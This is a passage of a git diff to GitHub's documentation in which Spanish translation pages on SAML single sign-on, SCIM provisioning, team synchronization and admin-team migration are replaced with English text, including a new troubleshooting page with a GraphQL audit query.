SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)". +If your IdP supports SCIM, {% data variables.product.prodname_dotcom %} can automatically invite members to join your organization when you grant access on your IdP. If you remove a member's access to your {% data variables.product.prodname_dotcom %} organization on your SAML IdP, the member will be automatically removed from the {% data variables.product.prodname_dotcom %} organization. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)." {% data reusables.organizations.team-synchronization %} {% data reusables.saml.saml-single-logout-not-supported %} -## Leer más +## Further reading -- "[Acerca de la autenticación de dos factores y el inicio de sesión único de SAML ](/articles/about-two-factor-authentication-and-saml-single-sign-on)" -- "[Acerca de la autenticación con el inicio de sesión único de SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)" +- "[About two-factor authentication and SAML single sign-on ](/articles/about-two-factor-authentication-and-saml-single-sign-on)" +- "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)" diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md index 8193864f87..25f9aa8301 100644 --- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md +++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md @@ -1,6 +1,6 @@ --- -title: Acerca de SCIM -intro: 'Con Sistema para la administración de identidades entre dominios (SCIM), los administradores pueden automatizar el intercambio de información de identidad del usuario entre los sistemas.' +title: About SCIM +intro: 'With System for Cross-domain Identity Management (SCIM), administrators can automate the exchange of user identity information between systems.' product: '{% data reusables.gated-features.saml-sso %}' redirect_from: - /articles/about-scim @@ -15,20 +15,20 @@ topics: {% data reusables.enterprise-accounts.emu-scim-note %} -Si usas [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) en tu organización, puedes implementar SCIM para agregar, administrar y eliminar el acceso de los miembros de la organización a {% data variables.product.product_name %}. Por ejemplo, un administrador puede desaprovisionar a un miembro de la organización usando el SCIM y eliminar automáticamente el miembro de la organización. +If you use [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) in your organization, you can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.product_name %}. For example, an administrator can deprovision an organization member using SCIM and automatically remove the member from the organization. -Si usas SAML SSO sin implementar SCIM, no tendrás un desaprovisionamiento automático. Cuando las sesiones de los miembros de la organización expiran una vez que su acceso ha sido eliminado del IdP, no se eliminan automáticamente de la organización. Los tokens autorizados otorgan acceso a la organización incluso una vez que las sesiones han expirado. Para eliminar el acceso, los administradores de la organización pueden eliminar de forma manual el token autorizado de la organización o automatizar su eliminación con SCIM. +If you use SAML SSO without implementing SCIM, you won't have automatic deprovisioning. When organization members' sessions expire after their access is removed from the IdP, they aren't automatically removed from the organization. Authorized tokens grant access to the organization even after their sessions expire. To remove access, organization administrators can either manually remove the authorized token from the organization or automate its removal with SCIM. -Estos proveedores de identidad son compatibles con la API de SCIM de {% data variables.product.product_name %} para organizaciones. For more information, see [SCIM](/rest/reference/scim) in the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API documentation. +These identity providers are compatible with the {% data variables.product.product_name %} SCIM API for organizations. For more information, see [SCIM](/rest/reference/scim) in the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API documentation. - Azure AD - Okta - OneLogin {% data reusables.scim.enterprise-account-scim %} -## Leer más +## Further reading -- "[Acerca de la administración de identidad y el acceso con el inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)" -- "[Conectar tu proveedor de identidad a tu organización](/articles/connecting-your-identity-provider-to-your-organization)" -- "[Activar y probar el inicio de sesión único de SAML para tu organización](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)" -- "[Visualizar y administrar un acceso de SAML de un miembro a tu organización](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)" +- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)" +- "[Connecting your identity provider to your organization](/articles/connecting-your-identity-provider-to-your-organization)" +- "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)" +- "[Viewing and managing a member's SAML access to your organization](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)" diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md index d92776bb41..9e115e8c93 100644 --- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md +++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Hacer cumplir el inicio de sesión único de SAML para tu organización -intro: Los propietarios y los administradores de la organización pueden requerir el inicio de sesión único de SAML para que todos los miembros de la organización se tengan que autenticar a través de un proveedor de identidad (IdP). +title: Enforcing SAML single sign-on for your organization +intro: Organization owners and admins can enforce SAML SSO so that all organization members must authenticate via an identity provider (IdP). product: '{% data reusables.gated-features.saml-sso %}' redirect_from: - /articles/enforcing-saml-single-sign-on-for-your-organization @@ -11,40 +11,42 @@ versions: topics: - Organizations - Teams -shortTitle: Hacer cumplir el inicio de sesión único de SAML +shortTitle: Enforce SAML single sign-on --- -## Acerca de requerir el SSO de SAML en tu organización +## About enforcement of SAML SSO for your organization -Cuando habilitas el SSO de SAML, {% data variables.product.prodname_dotcom %} mostrará a los miembros que visitan los recursos de la organización en {% data variables.product.prodname_dotcom_the_website %} para autenticarse en tu IdP, lo cual vincula la cuenta de usuario del miembro a una identidad en el IdP. Los mimebros aún pueden acceder a los recursos organizacionales antes de autenticarse con tu IdP. +When you enable SAML SSO, {% data variables.product.prodname_dotcom %} will prompt members who visit the organization's resources on {% data variables.product.prodname_dotcom_the_website %} to authenticate on your IdP, which links the member's user account to an identity on the IdP. Members can still access the organization's resources before authentication with your IdP. -![Anuncio con mensaje para autenticarse mediante el SSO de SAML para acceder a una organización](/assets/images/help/saml/sso-has-been-enabled.png) +![Banner with prompt to authenticate via SAML SSO to access organization](/assets/images/help/saml/sso-has-been-enabled.png) -También puedes requerir el SSO de SAML para tu organización. {% data reusables.saml.when-you-enforce %} Cuando esto se requiere, se elimina de la organizacióna cualquier miembro y administrador que no se hayan autenticado mediante el IdP. {% data variables.product.company_short %} envía una notificación de correo electrónico a cada usuario eliminado. +You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user. -Puedes restaurar los miembros de la organización una vez que realizas el inicio de sesión único sin problemas. Los ajustes y privilegios de acceso de los usuarios eliminados se guardan por tres meses y se pueden almacenar durante este periodo de tiempo. Para obtener más información, consulta "[Reinstalar un miembro antiguo de tu organización](/enterprise/{{ page.version }}/user/articles/reinstating-a-former-member-of-your-organization)". +You can restore organization members once they successfully complete single sign-on. Removed users' access privileges and settings are saved for three months and can be restored during this time frame. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)." -Los bots y cuentas de servicio que no tengan identidades externas configuradas en el IdP de tu organización también se eliminarán cuando requieras el SSO de SAML. Para obtener más información acerca de los bots y las cuentas de servicio, consulta la sección "[Administrar los bots y las cuentas de servicio con el inicio de sesión único de SAML](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)". +Bots and service accounts that do not have external identities set up in your organization's IdP will also be removed when you enforce SAML SSO. For more information about bots and service accounts, see "[Managing bots and service accounts with SAML single sign-on](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)." -Si tu organización le pertenece a una cuenta empresarial, el requerir SAML para dicha cuenta anulará la configuración de SAML a nivel de organización y requerirá el SSO de SAML para todas las organizaciones que pertenezcan a la empresa. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)". +If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." {% tip %} -**Sugerencia:**{% data reusables.saml.testing-saml-sso %} +**Tip:** {% data reusables.saml.testing-saml-sso %} {% endtip %} -## Requerir el SSO de SAML para tu organización +## Enforcing SAML SSO for your organization -1. Habilita y prueba el SSO de SAML para tu organización y luego autentícate con tu IdP por lo menos una vez. Para obtener más información, consulta "[Habilitar y probar el inicio de sesión único para tu organización](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)". -1. Prepárate para requerir el SSO de SAML para tu organización. Para obtener más información, consulta "[Preparación para exigir inicio de sesión único SAML en tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)". +1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. For more information, see "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)." +1. Prepare to enforce SAML SSO for your organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} -1. Debajo de "Inicio de sesión único de SAML", selecciona **Requerir la autenticación con el SSO de SAML para todos los miembros de la organización _ORGANIZATION_**. ![Casilla de verificación de "Requerir autenticación con el SSO de SAML"](/assets/images/help/saml/require-saml-sso-authentication.png) -1. Si cualquiera de los miembros de la organización no se autentica a través de tu IdP, {% data variables.product.company_short %} lo mostrará. Si requieres el SSO de SAML, {% data variables.product.company_short %} eliminará a los miembros de la organización. Revisa la advertencia y haz clic en **Eliminar a los miembros y requerir el inicio de sesión único de SAML**. ![Diálogo de "Confirmar que se requiere el SSO de SAML" con lista de miembros a eliminar de la organización](/assets/images/help/saml/confirm-saml-sso-enforcement.png) -1. Debajo de "Códigos de recuperación del inicio de sesión único", revisa tus códigos de recuperación. Almacena los códigos de recuperación en una ubicación segura, como un administrador de contraseñas. +1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization**. + !["Require SAML SSO authentication" checkbox](/assets/images/help/saml/require-saml-sso-authentication.png) +1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. Review the warning and click **Remove members and require SAML single sign-on**. + !["Confirm SAML SSO enforcement" dialog with list of members to remove from organization](/assets/images/help/saml/confirm-saml-sso-enforcement.png) +1. Under "Single sign-on recovery codes", review your recovery codes. Store the recovery codes in a safe location like a password manager. -## Leer más +## Further reading -- "[Visualizar y administrar el acceso de SAML de un miembro a tu organización](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" +- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md index 5cdd3fa15a..420131782e 100644 --- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md +++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md @@ -1,6 +1,6 @@ --- -title: Administrar el inicio de sesión único de SAML para tu organización -intro: Los administradores de la organización pueden administrar las identidades y el acceso a la organización de los miembros con el inicio de sesión único (SSO) de SAML. +title: Managing SAML single sign-on for your organization +intro: Organization administrators can manage organization members' identities and access to the organization with SAML single sign-on (SSO). redirect_from: - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on/ - /articles/managing-saml-single-sign-on-for-your-organization @@ -22,6 +22,7 @@ children: - /downloading-your-organizations-saml-single-sign-on-recovery-codes - /managing-team-synchronization-for-your-organization - /accessing-your-organization-if-your-identity-provider-is-unavailable -shortTitle: Administrar el inicio de sesión único de SAML + - /troubleshooting-identity-and-access-management +shortTitle: Manage SAML single sign-on --- diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md index 1fbcba3ae4..c963c89bb7 100644 --- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md +++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Administrar la sincronización de equipos para tu organización -intro: 'Puedes habilitar e inhabilitar la sincronización entre tu Proveedor de Identidad (IdP) y tu organización en {% data variables.product.product_name %}.' +title: Managing team synchronization for your organization +intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.team-synchronization %}' redirect_from: - /articles/synchronizing-teams-between-your-identity-provider-and-github @@ -15,16 +15,14 @@ versions: topics: - Organizations - Teams -shortTitle: Administrar la sincronización de equipos +shortTitle: Manage team synchronization --- {% data reusables.enterprise-accounts.emu-scim-note %} -{% data reusables.gated-features.okta-team-sync %} +## About team synchronization -## Acerca de la sincronización de equipo - -Puedes habilitar la sincronización de equipos entre tu IdP y {% data variables.product.product_name %} para permitir a los propietarios de la organización y a los mantenedores de equipo conectar equipos en tu organización con grupos de IdP. +You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. {% data reusables.identity-and-permissions.about-team-sync %} @@ -32,25 +30,25 @@ Puedes habilitar la sincronización de equipos entre tu IdP y {% data variables. {% data reusables.identity-and-permissions.sync-team-with-idp-group %} -También puedes habilitar la sincronización de equipos para las organizaciones que pertenezcan a tu cuenta empresarial. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." {% data reusables.enterprise-accounts.team-sync-override %} {% data reusables.identity-and-permissions.team-sync-usage-limits %} -## Habilitar la sincronización de equipo +## Enabling team synchronization -Los pasos para habilitar la sincronización de equipos dependen del IdP que quieras utilizar. Existen prerrequisitos aplicables a cada IdP para habilitar la sincronización de equipos. Cada IdP individual tiene prerrequisitos adicionales. +The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites. -### Prerrequisitos +### Prerequisites {% data reusables.identity-and-permissions.team-sync-required-permissions %} -Debes habilitar el inicio de sesión único de SAML para tu organización y tu IdP compatible. Para obtener más información, consulta la sección "[Requerir el inicio de sesión único de SAML en tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)". +You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." -Debes autenticarte con tu organización utilizando el SSO de SAML y el IdP compatible. Para obtener más información, consulta "[Acerca de la autenticación con el inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)". +You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." -### Habilitar la sincronización de equipos para Azure AD +### Enabling team synchronization for Azure AD {% data reusables.identity-and-permissions.team-sync-azure-permissions %} @@ -60,9 +58,18 @@ Debes autenticarte con tu organización utilizando el SSO de SAML y el IdP compa {% data reusables.identity-and-permissions.team-sync-confirm-saml %} {% data reusables.identity-and-permissions.enable-team-sync-azure %} {% data reusables.identity-and-permissions.team-sync-confirm %} -6. Revisa la información de locatario del proveedor de identidad que deseas conectar a tu organización, después haz clic en **Approve (Aprobar)**. ![Solicitud pendiente para habilitar la sincronización de equipo a un locatario IdP específico con la opción de aprobar o cancelar la solicitud](/assets/images/help/teams/approve-team-synchronization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**. + ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png) -### Habilitar la sincronización de equipos para Okta +### Enabling team synchronization for Okta + +Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization. + +To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. + +If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them. + +For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." {% data reusables.identity-and-permissions.team-sync-okta-requirements %} @@ -70,15 +77,20 @@ Debes autenticarte con tu organización utilizando el SSO de SAML y el IdP compa {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} {% data reusables.identity-and-permissions.team-sync-confirm-saml %} +{% data reusables.identity-and-permissions.team-sync-confirm-scim %} +1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)." {% data reusables.identity-and-permissions.enable-team-sync-okta %} -7. Debajo del nombre de tu organización, teclea un token SSWS válido y la URL de tu instancia de Okta. ![Formulario organizacional de Okta para habilitar la sincronización de equipos](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) -6. Revisa la información de locatario del proveedor de identidad que deseas conectar a tu organización, después da clic en **Crear**. ![Botón de crear en habilitar la sincronización de equipos](/assets/images/help/teams/confirm-team-synchronization-okta.png) +7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance. + ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Create**. + ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png) -## Inhabilitar la sincronización de equipo +## Disabling team synchronization {% data reusables.identity-and-permissions.team-sync-disable %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} -5. Dentro de "Team synchronization" (Sincronización de equipo), haz clic en **Disable team synchronization (Inhabilitar la sincronización de equipo)**. ![Inhabilita la sincronización de equipo](/assets/images/help/teams/disable-team-synchronization.png) +5. Under "Team synchronization", click **Disable team synchronization**. + ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png) diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md new file mode 100644 index 0000000000..dffddfadae --- /dev/null +++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md @@ -0,0 +1,87 @@ +--- +title: Troubleshooting identity and access management +intro: 'Review and resolve common troubleshooting errors for managing your organization''s SAML SSO, team synchronization, or identity provider (IdP) connection.' +product: '{% data reusables.gated-features.saml-sso %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Troubleshooting access +--- + +## Some users are not provisioned or deprovisioned by SCIM + +When you encounter provisioning issues with users, we recommend that you check if the users are missing SCIM metadata. If an organization member has missing SCIM metadata, then you can re-provision SCIM for the user manually through your IdP. + +### Auditing users for missing SCIM metadata + +If you suspect or notice that any users are not provisioned or deprovisioned as expected, we recommend that you audit all users in your organization. + +To check whether users have a SCIM identity (SCIM metadata) in their external identity, you can review SCIM metadata for one organization member at a time on {% data variables.product.prodname_dotcom %} or you can programatically check all organization members using the {% data variables.product.prodname_dotcom %} API. + +#### Auditing organization members on {% data variables.product.prodname_dotcom %} + +As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `` and ``: + +> `https://github.com/orgs//people//sso` + +If the user's external identity includes SCIM metadata, the organization owner should see a SCIM identity section on that page. If their external identity does not include any SCIM metadata, the SCIM Identity section will not exist. + +#### Auditing organization members through the {% data variables.product.prodname_dotcom %} API + +As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. + +#### Using the REST API + +The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members. + +For more information, see: + - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)" + - "[List organization members](/rest/reference/orgs#list-organization-members)" + +#### Using GraphQL + +This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. + +```graphql +{ + organization(login: "ORG") { + samlIdentityProvider { + ssoUrl + externalIdentities(first: 100) { + edges { + node { + samlIdentity { + nameId + } + scimIdentity { + username + } + user { + login + } + } + } + } + } + } +} +``` + +```shell +curl -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username} user { login } } } } } } }" }' https://api.github.com/graphql +``` + +For more information on using the GraphQL API, see: + - "[GraphQL guides](/graphql/guides)" + - "[GraphQL explorer](/graphql/overview/explorer)" + +### Re-provisioning SCIM for users through your identity provider + +You can re-provision SCIM for users manually through your IdP. For example, to resolve provisioning errors, in the Okta admin portal, you can unassign and reassign users to the {% data variables.product.prodname_dotcom %} app. This should trigger Okta to make an API call to populate the SCIM metadata for these users on {% data variables.product.prodname_dotcom %}. For more information, see "[Unassign users from applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm)" or "[Assign users to applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm)" in the Okta documentation. + +To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)." + +If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support. \ No newline at end of file diff --git a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md index abafd8648d..861713d54e 100644 --- a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md +++ b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md @@ -1,6 +1,6 @@ --- -title: Convertir un equipo de administradores a los permisos de organización mejorados -intro: 'Si tu organización fue creada después de septiembre de 2015, tu organización ha mejorado los permisos de la organización por defecto. Las organizaciones creadas antes de septiembre de 2015 pueden necesitar migrar a los antiguos equipos de propietarios y administradores al modelo mejorado de permisos. Los miembros de los equipos de administradores heredados conservan de forma automática la capacidad para crear repositorios hasta que esos equipos sean migrados al modelo mejorado de permisos de la organización.' +title: Converting an admin team to improved organization permissions +intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.' redirect_from: - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions/ - /articles/converting-an-admin-team-to-improved-organization-permissions @@ -12,23 +12,23 @@ versions: topics: - Organizations - Teams -shortTitle: Convertir el equipo de administradores +shortTitle: Convert admin team --- -Puedes eliminar la capacidad de los miembros del equipo de administración heredado para crear repositorios al crear un nuevo equipo para esos miembros, asegurándote de que el equipo tenga el acceso necesario a los repositorios de la organización, y eliminando el equipo de administración heredado. +You can remove the ability for members of legacy admin teams to create repositories by creating a new team for these members, ensuring that the team has necessary access to the organization's repositories, then deleting the legacy admin team. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." {% warning %} -**Advertencias:** -- Si hay miembros de su equipo de administración heredados que no son miembros de otros equipos, la eliminación del equipo eliminará a esos miembros de la organización. Antes de eliminar el equipo, asegúrate de que los miembros ya sean miembros directos de la organización, o que tengan acceso de colaborador a los repositorios necesarios. -- Para evitar la pérdida de bifurcaciones privadas realizadas por los miembros del equipo de administradores heredado, debes seguir los pasos 1-3 a continuación antes de eliminar el equipo de administradores heredado. -- Dado que "admin" es un término para los miembros de la organización con [acceso específico a determinados repositorios](/articles/repository-permission-levels-for-an-organization) en la organización, te recomendamos evitar ese término en cualquier nombre de equipo sobre el que puedas decidir. +**Warnings:** +- If there are members of your legacy Admin team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories. +- To prevent the loss of private forks made by members of the legacy Admin team, you must follow steps 1-3 below before deleting the legacy Admin team. +- Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on. {% endwarning %} -1. [Crear un equipo nuevo](/articles/creating-a-team). -2. [Agregar cada uno de los miembros](/articles/adding-organization-members-to-a-team) de tu equipo de administradores heredado al nuevo equipo. -3. [Brindar al equipo nuevo el acceso equivalente](/articles/managing-team-access-to-an-organization-repository) a cada uno de los repositorios a los que podía acceder el equipo heredado. -4. [Eliminar el equipo de administradores heredado](/articles/deleting-a-team). +1. [Create a new team](/articles/creating-a-team). +2. [Add each of the members](/articles/adding-organization-members-to-a-team) of your legacy admin team to the new team. +3. [Give the new team equivalent access](/articles/managing-team-access-to-an-organization-repository) to each of the repositories the legacy team could access. +4. [Delete the legacy admin team](/articles/deleting-a-team). diff --git a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md index 722907b4ea..b25dc825a5 100644 --- a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md +++ b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md @@ -1,6 +1,6 @@ --- -title: Migrar los equipos de administradores a permisos de organización mejorados -intro: 'Si tu organización fue creada después de septiembre de 2015, tu organización ha mejorado los permisos de la organización por defecto. Las organizaciones creadas antes de septiembre de 2015 pueden necesitar migrar a los antiguos equipos de propietarios y administradores al modelo mejorado de permisos. Los miembros de los equipos de administradores heredados conservan de forma automática la capacidad para crear repositorios hasta que esos equipos sean migrados al modelo mejorado de permisos de la organización.' +title: Migrating admin teams to improved organization permissions +intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.' redirect_from: - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions/ - /articles/migrating-admin-teams-to-improved-organization-permissions @@ -12,34 +12,37 @@ versions: topics: - Organizations - Teams -shortTitle: Migrar el equipo administrativo +shortTitle: Migrate admin team --- -Por defecto, todos los miembros de la organización pueden crear repositorios. Si restringes los [permisos de creación de repositorios](/articles/restricting-repository-creation-in-your-organization) a los propietarios de la organización y tu organización fue creada dentro de la estructura heredada de permisos de organización, los miembros de los equipos de administración heredados seguirán teniendo la capacidad de crear repositorios. +By default, all organization members can create repositories. If you restrict [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories. -Los equipos de administración heredados son equipos que fueron creados con el nivel de permiso de administración dentro de la estructura heredada de permisos de organización. Los miembros de estos equipos pudieron crear repositorios para la organización, y hemos conservado esta capacidad en la estructura mejorada de permisos de la organización. +Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure. -Puedes eliminar esta capacidad al migrar tus equipos de administradores heredados a los permisos mejorados de la organización. +You can remove this ability by migrating your legacy admin teams to the improved organization permissions. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." {% warning %} -**Advertencia:** si tu organización ha inhabilitado [los permisos de creación de repositorio](/articles/restricting-repository-creation-in-your-organization) para todos los miembros, algunos miembros de los equipos de administradores heredados pueden perder los permisos de creación de repositorio. Si 